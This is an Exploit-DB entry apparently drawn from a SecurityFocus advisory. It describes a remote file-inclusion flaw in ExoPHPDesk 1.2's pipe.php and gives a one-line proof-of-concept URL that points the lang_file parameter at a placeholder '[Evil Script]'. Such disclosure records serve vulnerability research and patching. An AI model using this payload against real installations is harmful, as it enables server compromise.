Exploit

EDB-ID: 28967	Author: Firewall1954	Published: 2006-11-11
CVE: CVE-2006-5951	Type: Webapps	Platform: PHP
Aliases: N/A	Advisory/Source: Link	Tags: N/A
E-DB Verified:	Exploit: Download / View Raw	Vulnerable App: N/A

« Previous Exploit Next Exploit »

source: http://www.securityfocus.com/bid/21003/info

Exophpdesk is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Exophpdesk version 1.2 is vulnerable.

http://www.example.com/Exophpdesk_PATH/pipe.php?lang_file=[Evil Script]

« Previous Exploit Next Exploit »

Related Exploits

Trying to match CVEs (1): CVE-2006-5951
Trying to match OSVDBs (1): 31960
Other Possible E-DB Search Terms: ExoPHPDesk 1.2, ExoPHPDesk

Date	D	V	Title	Author
2008-11-09			ExoPHPDesk 1.2 Final - Authentication Bypass	Cyber-Zone
2007-01-31			ExoPHPDesk 1.2.1 - 'faq.php' SQL Injection	ajann

ExoPHPDesk 1.2 - 'Pipe.php' Remote File Inclusion

Related Exploits